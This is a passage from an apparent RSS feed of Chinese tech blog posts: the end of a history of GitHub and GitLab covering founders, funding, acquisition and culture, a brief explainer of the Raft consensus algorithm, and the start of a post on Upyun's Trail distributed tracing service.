 &lt;p&gt;不过 GitHub 的三位创始人都是程序员出身，所以老板和员工的区别不大，一起撸代码。Tom Preston-Werner 更是一名极客，GitHub 技术栈上的核心组件基本都是他捣鼓出来的，他还创造了静态博客框架 jekyll，也就是 GitHub Pages 默认的博客框架；以及 Toml(即 Tom’s Language)配置语言，成为了 Rust 语言包 Cargo 的官方配置脚本语言。不过后来 Tom 牵涉进了办公室性别歧视事件，辞去了 GitHub CEO 的职位。Tom辞职后，Chris Wanstrath 接任了 CEO，一直到2018年微软收购 GitHub。&lt;/p&gt;

 &lt;p&gt;Tom Preston-Werner 回忆他第一次创业，他躺在学校宿舍的床上绞尽脑汁去想有什么创业的机会，但好像互联网上点子都被人实现了。于是又去想有哪些服务可以提供公共 SaaS 服务，比如提供评论服务的 disqus. 他想到每次在网站上注册账号时都要上传头像，于是就做了头像服务 Gravatar，用户只要在 Gravatar 上传头像，那么支持 Gravatar 的网站便可以直接显示用户的头像。但这个服务赚不到钱，一直到卖给 WordPress 后 Tom 才还清了自己的贷款。等到创立 GitHub 时，Tom 就认定首先要把商业模式想清楚，因而 GitHub 在一开始就是提供私有仓库收费服务的。从2008年创立到2012年的四年间，GitHub 从未融过资，在它的官网介绍页面一直自豪的写着0融资。2012年，GitHub 接受了 a16z 的1亿美元投资，2015年再次接受红杉资本2.5亿美元投资，此时估值已达20亿美元。2018年6月，微软宣布以75亿美元收购 GitHub.&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="Microsoft acquires github" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/microsoft-acquires-github.jpeg?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;微软收购 GitHub 后三位大佬的合影(左: 收购前 GitHub CEO Chris Wanstrath; 中: 微软 CEO Satya Nadella; 右: 收购后 GitHub CEO Nat Friedman)&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;微软收购 GitHub 可谓是捡了个大便宜，2016年微软收购 Linkedin 时就花了262亿，GitHub 吃亏在被投资界认定为是开发者的 Linkedin. 这是大大低估了GitHub的价值。从可替代性上看，Linkedin 是可以被替代的，而 GitHub 不可替代。从 Linkedin 进入中国（领英）去年又退出可以看出，Linkedin 并没有优势（至少在中国没有优势）；但 GitHub 则不同，GitHub 的不可替代性太强了。扯远了，GitHub 已经成为了全球最大的开发者社区、代码中心和开源软件平台，软件在我们的生活中越来越重要，GitHub 也只会越来越重要。不仅是 Git 成就了 GitHub（Git是GitHub的技术基础），更是 GitHub 让 Git 成为了版本控制管理工具的事实标准。&lt;/p&gt;

 &lt;p&gt;GitHub 最初的 Slogan 是 “Social coding”(后来改为 Build software better, together, 现在是 Where the world builds software)，因此也认为是程序员版的 Facebook. 在 GitHub 之前，全球最大的开源项目平台是SourceForge, 任何人都可以在上面创建并发布开源软件，但它侧重于开源软件的展示和发布，没有考虑开发者的社交活动。而 GitHub 在面世时就突出开发者社交，最亮点的特性有三个：开发者社交功能、”Fork+Pull Request”、Explore 页面。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="github-social-coding" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/github-social-coding.jpeg?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitHub最初的 Slogan: Social coding 以及GitHub的著名Logo章鱼猫 octocat&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;社交功能主要体现在登录用户的首页和用户 Profile 页面。登录用户首页上以 timeline 状态流的方式呈现与用户关注的用户和项目的动态，感觉就像刷社交媒体一样爽 GitHub。GitHub 的用户 Profile 页面在2012年做过重大调整，这种风格基本保持到了现在。Profile 页面上展示用户的项目和 follow 及被 follow 的数量；后来加上了贡献图，就是那些绿色小格子的日历图，每个勤奋的程序员都想点亮它们。这就成了程序员的最真实的个人名片，因此早在2009年就有人在 Twitter 上提出：对程序员来说，GitHub 比简历和 Linkedin 重要的多。GitHub 非常注重它的社交属性，这是它成功的最主要原因。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="tweet-about-github" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/tweet-about-github.png?w=480"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;早在2009年，Twitter 上就有网友提出 GitHub 比简历更重要&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;GitHub 第二个亮点特性是“Fork+Pull Request(简称 PR)”，这种开源协作模式充分利用了 Git 的分布式特性。在以往的开源协作模式中，程序员们主要通过邮件+patch的方式来交换代码。而 GitHub 提供的 PR 机制，让程序员在 GitHub 上可以一键 Fork 仓库到自己名下，然后通过提交 PR 来将自己的共享合回社区（或原项目所有者），基于 PR 公开讨论，并决定是否合入主干。这种社区协作的方式让大家觉得很酷，很快 GitHub 就在硅谷的黑客圈子里流行了起来。最开始是 Ruby 社区（因为 GitHub 本身也是用 Ruby on Rails 写的），Ruby on Rails 的创始人 DHH 开始注意到了它，并将 Ruby on Rails 源码托管迁移到了 GitHub。在2014年前的几年里，Ruby 一直是 GitHub 上排名第一的语言。接着，是更多的社区、企业和个人将自己的代码迁移到 GitHub. 当然，不是每个人都喜欢 PR，最大的反对声音来自于 Git 的创始人 Linus Torvalds。Linus 曾直言不讳的批评 GitHub PR 制造了“一堆毫无用处的垃圾合并”。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="linus-criticize-github-pr" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/linus-criticize-github-pr.jpeg?w=480"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;Linus 在邮件列表中痛批 GitHub PR&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;而 Explore 页面稍晚一些，在2010年推出。在拥有了一定数量的用户和项目仓库后，GitHub 开始通过 Explore 页面推荐一些热点(Trending)项目仓库，排名靠前的项目是那些近期 Star 数量飙升的项目。程序员们乐意给中意的项目加”Star”，而被 Star 的项目也有更高的权重被更多的人所知道，这样就让整个 GitHub 社区活跃了起来。如果说 Facebook 的标志性操作是”Like”的话，那么 GitHub 一定非”Star”莫属了。网络的价值，在于网络中连接节点的数量。GitHub 网络中的连接节点就是用户和项目仓库代码，当这种连接数量越来越多时，就会产生规模效应，越来越多的用户加入 GitHub，越来越多的代码被上传。而后 GitHub 又推出了marketplace (原名Integrations), 将第三方软件厂商提供的服务也连接到节点中，GitHub 成了一个连接了全球开发者、代码和服务的社交网络。&lt;/p&gt;

 &lt;p&gt;虽然 GitHub 后来又增加了项目管理的 Project 功能、CI/CD 功能(GitHub Actions)，看上去似乎是在向 DevOps 平台发展；但本质上，GitHub 仍然是一个社区，并且也在着重打造社区。GitHub 提供更多更全面的服务，也是为了让社区里的用户体验更好。根据 GitHub 发布的报告，GitHub 上已经有7300万开发者用户，其中2021年新增了1600万；托管代码仓超过2亿，仅2021年新增代码仓6100万。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="github-home" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/github-home.png?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitHub 首页上的地球动图，当该地区有人提交代码到 GitHub，地球动图的该位置就会被点亮&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;h3&gt;GitLab 的故事&lt;/h3&gt;

 &lt;p&gt;GitHub 创始人 Tom Preston-Werner 曾在2011年时写过一篇博文   &lt;em&gt;Open Source (Almost) Everything&lt;/em&gt;, 他的观点是尽可能多的开源，因为开源可以带来的好处很多，如广告效应、使用社区力量（更多的用户带来更多的应用场景和促进高质量代码）、吸引人才、选拔人才、留住人才、模块化软件架构、减少代码重复等，而且开源本身也是回馈社区的行为。但他认为有些代码是不能开源的，比如那些具有核心商业价值的代码组件。GitHub 在创始人的驱动下，开源了一些组件，如 grit、resque、jekyll、gollum、hubot 等，这让 GitHub 获得了开发者特别是 Ruby 开发者的好感，当时，GitHub 也是最酷的技术公司之一。顺便说一句, Tom 在文章中提到唯一正确的 License(One True License)是 MIT，这也是 GitHub 上创建仓库长期以来默认的 License，以至于MIT很快取代了老牌的 GPL 和 Apache License, 成为了开源社区最为流行的 License.&lt;/p&gt;

 &lt;p&gt;几年后，GitLab 也在官网上发布的一篇博客，名为   &lt;em&gt;Almost Everything We Do Will Be Open&lt;/em&gt;, 在文章中，GitLab 宣称他们将公开所有能公开的东西，包括源码、文档、工作手册、工作讨论交流等，除了涉及隐私或安全相关的内容，能公开的都会公开。虽然 GitHub 开源了很多组件，但他们核心的产品 GitHub 本身是闭源的。而GitLab是完全开源的，用他们自己的话说，这是 Open Core, 即核心开放，这是开源的一种商业模式，产品的核心是开源的，而提供商业收费的增值或附加特性。&lt;/p&gt;

 &lt;p&gt;The Org 曾发表过一篇专题报道“全世界最透明的公司”(  &lt;em&gt;GitLab: The World’s Most Transparent Company&lt;/em&gt;)，介绍了 GitLab 的公司运作。GitLab 全球1400名员工，分布在全球65个国家，因此远程(Remote)是 GitLab 的基本工作方式。GitLab 按照他们所声称的那样公开了几乎所有的东西，最著名的是他们的员工手册(handbook)，涵盖了公司价值观、内部沟通、开发流程、公司运作，以及如何请假、如何报销等方方面面。这份员工手册如果打印成纸质文档的话，会超过8000页。并不是每位新进 GitLab 的员工都能理解这种透明的文化，刚开始他们会很不习惯被“暴露”在公开社区的工作方式。但很快员工就会习惯，因为透明和开放让协作变得更简单。而透明也有利于流程和效率改进，比如员工手册，一直在持续优化更新。&lt;/p&gt;

 &lt;p&gt;这种近乎偏执的透明文化让 GitLab 持续保持着创业公司的特质，当然这与公司创始人的黑客风格也是密不可分的。2011年，乌克兰的两个程序员 Dmitriy Zaporozhets 和 Valery Sizov 想做一个能帮助他们团队协作的工具，于是就开发了 GitLab。2011年10月9日，GitLab 发布了第一版并开源了源码，而后，每个月他们都会发布新版本。2012年，荷兰程序员 Sid Sijbrandij 发现了 GitLab，正好他手中握有 GitLab.com 这个域名（Dmitriy发布GitLab时用的是 gitlabhq.com），于是 Sid 和 Dmitriy 一拍即合，决定成立公司来全职投入GitLab。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="gitlab-founders" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/gitlab-founders.jpeg?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitLab 的两位创始人（左: Sid Sijbrandij; 右: Dmitriy Zaporozhets）在去年 NASDAQ 上市时的合影&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;最初，GitLab 是定位为开源的 GitHub（确切的说，是 GitHub Enterprise，也就是可在企业内私有部署的 GitHub 版本）。当时 GitHub Enterprise 的一个License 大约是500美元每人年。因此，功能接近 GitHub 而又开源的 GitLab 开始被越来越多的公司和个人所采用。我在2012年5月在公司搭建了第一个 GitLab 服务，好像是2.5版本，后来几乎每个月我都会升级，因为每个月都能感受到 GitLab 日新月异的变化。从最初仅仅是Git仓库托管，到项目管理功能(issues, milestone)，到借鉴与 GitHub PR 的 Merge Request。实际上，Merge Request 还是有很大的流程性创新的，在 GitLab 的 MR 流程中，无需 Fork 仓库，而是创建分支提交MR，这其实比 GitHub PR 更适合项目内协作。GitHub 后来也将这种无需 Fork 创建分支提 PR 的功能也实现了，可谓是学生教了老师。而 GitLab 的更新迭代非常快，他们也非常积极听取用户特别是企业用户的意见。记得应该是在2013年左右，我发了封邮件(也许是issue)给 GitLab，很快就收到了 Sid 的回复，并约我和 Dmitriy 一起开了个电话会议，我还记得 Sid 在电话会议快结束时说我们三个非英语国家的人分别在三个时区完成了对 GitLab 发展很重要的交流，这是互联网带来的奇迹（我脑洞一下，莫不是从那次会议起 Sid 动了 Remote 工作的念头^_^）。GitLab持续加强企业代码托管及开发协作所需的特性和服务，在 GitLab 之外还发布了持续集成服务 GitLab CI.&lt;/p&gt;

 &lt;p&gt;2015年初，GitLab 申请成为 Y Combinator 孵化器成员并获得通过。Y Combiantor 是 Paul Graham（即《黑客与画家》的作者）创办的风险投资结构，对投资项目要求极为严格。GitLab 获得 Y Combiantor 投资后整个团队（包括两创始人在内也就5个人）便搬到了硅谷。GitLab 也有了更为清晰的商业路线，加快了扩张，从最初的能装在一辆SUV的团队扩张到了140人。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="gitlab-the-boat" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/gitlab-the-boat.jpeg?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitLab 搬到硅谷初期的时候的团队，他们将这辆能塞下整个团队的车称为 Boat&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;GitLab 发现如果单纯做开源版的 GitHub Enterprise，商业变现比较困难，虽然GitLab 提供了收费的 GitLab EE 版本，但营收一直不是很理想。因为小企业其实部署开源免费的 GitLab CE 版本就够了，而大企业也会优先选择在 GitLab CE 版本上做二次开发和功能增强。因此 GitLab 在加入 Y Combinator 孵化器后，在商业策略上也开始调整，着重打造 GitLab.com SaaS 服务，将 GitLab CI 合入到 GitLab 中，并增加项目管理、CICD、性能安全检测等全链路的DevOps功能。对比 GitLab 和 GitHub 的订阅费可以看出，GitLab 的 Premium 版本每用户每月收费19美元，Ultimate 版本每用户每月 99美元；相对应的 GitHub 的两档收费版本 Team 和 Enterprise 分别是每用户每月 4美元和 21美元。可以说，GitLab 的收费远远高于 GitHub. 而 GitLab之所以有这样的底气，是因为它能给客户提供比 GitHub 更多功能特性的产品，用 GitLab 自己的话说，他们是（唯一的） DevOps 平台(The DevOps Platform, 注意这个 “The”)。当然，这个唯一是GitLab 自己声称的，其实各大云厂商都有自己的DevOps平台。不过仅就比较GitHub而言，确实 GitLab 在 DevOps 能力方面更胜一筹，GitLab 在官网也有与其他工具对比：GitLab = JIRA + GitHub + Jenkis + JFrog + 性能监控 + 安全检查。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="gitlab-compare-to-tools" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/gitlab-compare-to-tools.png?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitLab 官网上将自己与其他工具对比&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;2020年，新冠疫情席卷全球，而提供企业 DevOps 服务的 GitLab 获得了快速发展的机会，成员也增长到了1200人，GitLab 获得了2亿6千万美元的风投，而 GitLab 也开启了它的上市计划。2021年，在 GitLab 创立10周年之际，GitLab 在纳斯达克(NASDAQ)上市，开盘市值冲到150亿美元（目前市值 100亿美元 10.24B）。&lt;/p&gt;

 &lt;p&gt;从2011年9月在 GitHub 上发布第一个版本，GitLab 每个月都会发布一个新版本，而且基本上都在每月的22日，前后相差不过一两天。十多年如一日，即使 GitLab 体量已经非常大了，还保持着最初版本一样的敏捷迭代效率，真的是令人佩服。而这体现了 GitLab 良好的构架守护。GitLab 最初采用 Ruby on Rails 框架编写，一直是学习 Ruby on Rails 的最好实例样板，代码非常干净整洁，测试用例也很齐全。而后关键性能组件用 Go 重写，前后端分离前端使用 VUE 重构。GitLab 一直采用合适的新技术来保持架构的弹性。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="gitlab-loc-curve" src="https://rmt.dogedoge.com/fetch/hutusi/storage/blog/gitlab-loc-curve.jpeg?w=600"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;GitLab 代码量增长曲线&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;除了透明和敏捷，GitLab 的联合创始人及 CEO Sid Sijbrandij 总结了 GitLab的文化，将它归纳为 CREDIT: 及 Collaboration(开放协作), Results(结果导向), Efficiency(效率优先), Diversity Inclusion and Belonging(多样性、包容及归属感), Iteration(敏捷迭代), Transparency(透明)。从最初的两个创始人到目前全球分布的1400多员工，从最初的一次开源代码提交到现在市值160亿美元的上市企业，GitLab 的故事激励着初创企业和开源社区。可以说，GitLab 是将开源软件的开放与透明文化与商业模式结合最为成功的案例之一。&lt;/p&gt;

 &lt;h3&gt;启示&lt;/h3&gt;

 &lt;p&gt;GitHub 和 GitLab 的故事带给我的启发大概有如下几点：&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;
       &lt;p&gt;    &lt;strong&gt;文化是公司或团队最重要的东西。&lt;/strong&gt;任总说过：“只有文化才能生生不息。”很多组织的文化是在组织创立后逐渐形成的。一个积极而正向的文化能将优秀的人聚集在一起，所谓物以类聚，人以群分。GitHub 的黑客文化，GitLab 的透明开放文化，都将一批有同样理想和追求的人聚集在了一起，从而创造出优秀的产品。&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;    &lt;strong&gt;解决自己遇到的问题，这往往是做好产品的前提。&lt;/strong&gt;如果别人也有这个问题，那么商业模式就有了。如果这是个普遍存在的问题，那么这将是个很好的商业模式。GitHub 和 GitLab 在创立初期都是为了解决自己遇到的问题，吃狗粮(eating dog food)，直到发现更广阔的用户场景。&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;    &lt;strong&gt;持续迭代，持续演进，持续更新。&lt;/strong&gt;GitLab 可以说将迭代做到了极致，而 GitHub 的更新迭代也是很快的。与之形成对比的是 Gitorious，作为 Git 托管平台，Gitorious 很早就开源了，它的诞生不仅比 GitLab 早，甚至比 GitHub 还早。但 Gitorious 基本上是对标 SourceForge 做的，后期也不怎么更新，最终被 GitLab 所收购。产品如果不及时更新，很快就会被用户所遗忘。&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;    &lt;strong&gt;后发产品要想实现超越必须要探索出一条新路，沿着领先竞争对手的路去走只能是跟随。&lt;/strong&gt;GitLab 初期是以开源可私有部署的 GitHub 方式而深入人心，因此得到了很多期望以更低成本私有化部署 GitHub 的用户的青睐。后来 GitLab 做代码托管 SaaS 服务 GitLab.com, 曾想以免费私有仓的差异化来获取用户，但在产品路线上并没有与 GitHub 形成太大差异，因此效果并不理想，而等到微软收购 GitHub 宣布免费创建私有仓后，这点唯一的优势也就没有了。因此 GitLab 后来将重点放到了支持企业级 DevOps 上，全力打造 DevOps 能力，探索出另一条新路，也使得自己的估值指数级上升，获得了市场认可。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

 &lt;p&gt;如果你有任何想法和建议，欢迎与我交流或联系。&lt;/p&gt;

 &lt;h3&gt;参考&lt;/h3&gt;

 &lt;ol&gt;
    &lt;li&gt;   &lt;a href="https://tom.preston-werner.com/2008/10/18/how-i-turned-down-300k.html"&gt;Tom Preston-Werner: How I Turned Down $300,000 from Microsoft to go Full-Time on GitHub&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://github.com/torvalds/linux/pull/17"&gt;Linus 关于 GitHub PR 的争论&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://nira.com/github-history/"&gt;How GitHub Democratized Coding, Built a $2 Billion Business, and Found a New Home at Microsoft&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://tom.preston-werner.com/2011/11/22/open-source-everything.html"&gt;Open Source (Almost) Everything&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://about.gitlab.com/blog/2015/08/03/almost-everything-we-do-is-now-open/"&gt;Almost Everything We Do Will Be Open&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://about.gitlab.com/blog/2016/07/20/gitlab-is-open-core-github-is-closed-source/"&gt;GitLab is open core, GitHub is closed source&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://about.gitlab.com/blog/2016/02/09/gitlab-open-strategy/"&gt;GitLab’s Open Strategy&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://about.gitlab.com/company/culture/"&gt;GitLab Culture&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://about.gitlab.com/company/history/"&gt;History of GitLab&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://about.gitlab.com/blog/2021/08/03/welcome-to-the-devops-platform-era/"&gt;Welcome to the DevOps Platform era&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://theorg.com/insights/gitlab-the-worlds-most-transparent-company"&gt;GitLab: The World’s Most Transparent Company&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech 产品 开源 GitHub GitLab</category>
      <guid isPermaLink="true">https://itindex.net/detail/62014-github-gitlab-%E6%95%85%E4%BA%8B</guid>
      <pubDate>Tue, 11 Jan 2022 23:30:00 CST</pubDate>
    </item>
    <item>
      <title>Raft 共识</title>
      <link>https://itindex.net/detail/59673-raft-%E5%85%B1%E8%AF%86</link>
      <description>&lt;h1&gt;概述&lt;/h1&gt;
 &lt;p&gt;Raft是一种共识算法，用于多个分布式的系统，如zookeeper，谷歌chubby。用于保持数据的一致性。可替代paxos共识算法。其核心思想是由一个leader作为入口，由他来对数据进行接受和分发处理。该唯一leader必须得到多数节点的选票。所以即使集群分裂，最终还是会有多数节点会达成一致。&lt;/p&gt;

 &lt;p&gt;适用于彼此可信的节点环境。&lt;/p&gt;

 &lt;h1&gt;角色&lt;/h1&gt;
 &lt;ul&gt;
    &lt;li&gt;leader 1个&lt;/li&gt;
    &lt;li&gt;candidate 临时角色，没有leader时由follower转成&lt;/li&gt;
    &lt;li&gt;follower&lt;/li&gt;
    &lt;li&gt;client数据产生和请求者&lt;/li&gt;
&lt;/ul&gt;

 &lt;h1&gt;leader选举过程&lt;/h1&gt;
 &lt;h2&gt;初始状态&lt;/h2&gt;
 &lt;p&gt;每个节点都是follower状态&lt;/p&gt;
 &lt;h2&gt;候选人状态&lt;/h2&gt;
 &lt;p&gt;没有leader和他们通信时，随机等待150-300s超时时间
，然后转为候选人状态。此时，有人比较快变成候选人，先发选举请求。如果同时成为候选人并且都不能得到多数票，则重新等待随机时间。
follower收到选举请求后回复同意或拒绝。&lt;/p&gt;
 &lt;h2&gt;leader&lt;/h2&gt;
 &lt;ul&gt;
    &lt;li&gt;多数人回复同意后，候选人成为leader。&lt;/li&gt;
    &lt;li&gt;leader 定期和个follower进行心跳通信，确认自己活着，发送数据。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h1&gt;数据复制过程&lt;/h1&gt;
 &lt;ul&gt;
    &lt;li&gt;client 发送数据&lt;/li&gt;
    &lt;li&gt;leader接到数据后变成准提交状态&lt;/li&gt;
    &lt;li&gt;leader将数据发送给follower&lt;/li&gt;
    &lt;li&gt;多数人回复确认后成为确定版。&lt;/li&gt;
    &lt;li&gt;leader给client发送确认。&lt;/li&gt;
    &lt;li&gt;新加入节点leader会从时间线开始复制数据&lt;/li&gt;
&lt;/ul&gt;

 &lt;h1&gt;分裂过程&lt;/h1&gt;
 &lt;ul&gt;
    &lt;li&gt;如果分裂为两组，各自选举了leader。&lt;/li&gt;
    &lt;li&gt;第一组得不到多数follower节点确认，所以一直是未确认数据。&lt;/li&gt;
    &lt;li&gt;第二组得到多数节点确认，是确认数据。&lt;/li&gt;
    &lt;li&gt;合并后，未确认数据会回滚。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h1&gt;优点：&lt;/h1&gt;
 &lt;ul&gt;
    &lt;li&gt;分布式一致性得到较好的保持&lt;/li&gt;
&lt;/ul&gt;

 &lt;h1&gt;缺点&lt;/h1&gt;
 &lt;ul&gt;
    &lt;li&gt;节点要可信&lt;/li&gt;
    &lt;li&gt;leader只有一个，容易成为瓶颈。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h1&gt;reference&lt;/h1&gt;
 &lt;p&gt;  &lt;a href="http://thesecretlivesofdata.com/raft/"&gt;动画演示Raft&lt;/a&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>raft tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/59673-raft-%E5%85%B1%E8%AF%86</guid>
      <pubDate>Sun, 09 Jun 2019 22:00:33 CST</pubDate>
    </item>
    <item>
      <title>Trail：分布式追踪</title>
      <link>https://itindex.net/detail/57621-trail-%E5%88%86%E5%B8%83</link>
      <description>&lt;p&gt;在又拍云，即使是  &lt;a href="https://console.upyun.com/"&gt;应用层服务&lt;/a&gt;也依赖到其他服务，而那些服务又依赖到了更多服务。当一个接口超时时，定位接口的性能瓶颈是困难的。&lt;/p&gt;

 &lt;p&gt;解决定位服务性能瓶颈和错误原因的问题，是实现   &lt;a href="https://github.com/open-trail/trail"&gt;Trail：分布式追踪服务&lt;/a&gt; 的初衷。&lt;/p&gt;

 &lt;h2&gt;Trail 做了什么&lt;/h2&gt;

 &lt;p&gt;系统接收到外部的请求后，会在分布式系统内形成复杂的调用关系，&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="request in distributed system" src="https://cattail.me/assets/distributed-tracing/request-in-distributed-system.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;Credit:    &lt;a href="https://research.google.com/pubs/pub36356.html"&gt;Dapper, a Large-Scale Distributed Systems Tracing Infrastructure&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;p&gt;Trail 采集服务（进程）间的调用，记录处理调用数据，并提供分析平台。&lt;/p&gt;

 &lt;h2&gt;工作原理&lt;/h2&gt;

 &lt;p&gt;分布式系统的调用形成树状结构，我们称一次调用形成的调用链为   &lt;code&gt;trace&lt;/code&gt;，每个   &lt;code&gt;trace&lt;/code&gt; 有唯一 ID   &lt;code&gt;traceId&lt;/code&gt;，构成   &lt;code&gt;trace&lt;/code&gt; 的最小元素是   &lt;code&gt;span&lt;/code&gt;，  &lt;code&gt;trace&lt;/code&gt; 下的所有   &lt;code&gt;span&lt;/code&gt; 有相同的   &lt;code&gt;traceId&lt;/code&gt;。&lt;/p&gt;

 &lt;p&gt;每个   &lt;code&gt;span&lt;/code&gt; 有自己唯一的 ID   &lt;code&gt;spanId&lt;/code&gt;，通过在   &lt;code&gt;span&lt;/code&gt; 中存储父   &lt;code&gt;span&lt;/code&gt; ID   &lt;code&gt;parentId&lt;/code&gt; 来建立   &lt;code&gt;span&lt;/code&gt; 之间的关系。&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="span relationship" src="https://cattail.me/assets/distributed-tracing/span-relationship.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;blockquote&gt;
    &lt;p&gt;Credit:    &lt;a href="https://research.google.com/pubs/pub36356.html"&gt;Dapper, a Large-Scale Distributed Systems Tracing Infrastructure&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

 &lt;h3&gt;采集&lt;/h3&gt;

 &lt;p&gt;Trail 记录   &lt;code&gt;span&lt;/code&gt; 来记录服务之间的调用，并生成完整的   &lt;code&gt;trace&lt;/code&gt;。它通过在基础通信和调用库中增加采集代码来实现采集功能。&lt;/p&gt;

 &lt;p&gt;以 HTTP 协议举例，在前端 HTTP 服务器进程接收到用户请求后，会  &lt;a href="https://github.com/open-trail/trail/blob/926491f056acec923ebd02f885d5b964581f5c2d/packages/node-trail-instrument-http/src/server.js#L8"&gt;创建一个新的    &lt;code&gt;span&lt;/code&gt;&lt;/a&gt;，这是   &lt;code&gt;trace&lt;/code&gt; 中的第一个   &lt;code&gt;span&lt;/code&gt;，该   &lt;code&gt;span&lt;/code&gt; 初始化过程中除了生成   &lt;code&gt;spanId&lt;/code&gt; 外还会  &lt;a href="https://github.com/open-trail/trail/blob/926491f056acec923ebd02f885d5b964581f5c2d/packages/basictracer-javascript/src/span.js#L21"&gt;生成    &lt;code&gt;traceId&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;当前端服务进程  &lt;a href="https://github.com/open-trail/trail/blob/926491f056acec923ebd02f885d5b964581f5c2d/packages/node-trail-instrument-http/src/request.js#L28"&gt;向后端服务进程发送 HTTP 请求&lt;/a&gt;时，  &lt;a href="https://github.com/open-trail/trail/blob/926491f056acec923ebd02f885d5b964581f5c2d/packages/basictracer-javascript/src/propagation.js#L61"&gt;请求头中被加入了额外信息&lt;/a&gt;，包括   &lt;code&gt;traceId&lt;/code&gt;   &lt;code&gt;spanId&lt;/code&gt;。后端进程接收到请求，也会创建   &lt;code&gt;span&lt;/code&gt;，但在创建过程中会直接使用接收到的   &lt;code&gt;traceId&lt;/code&gt;，并设置   &lt;code&gt;parentId&lt;/code&gt;。&lt;/p&gt;

 &lt;p&gt;  &lt;code&gt;span&lt;/code&gt; 采集的关键是&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;客户端注入参数&lt;/li&gt;
    &lt;li&gt;传输协议支持并传递参数&lt;/li&gt;
    &lt;li&gt;服务端解析参数&lt;/li&gt;
&lt;/ol&gt;

 &lt;h3&gt;存储&lt;/h3&gt;

 &lt;p&gt;Trail 目前没有实现完善的存储机制，当   &lt;code&gt;span&lt;/code&gt; 采集后，将通过 TCP 请求发送至 Logstash，并被转存至 Elasticsearch。&lt;/p&gt;

 &lt;h3&gt;处理分析&lt;/h3&gt;

 &lt;p&gt;分析程序通过接口读取 Elasticsearch 数据，根据需求组装数据。&lt;/p&gt;

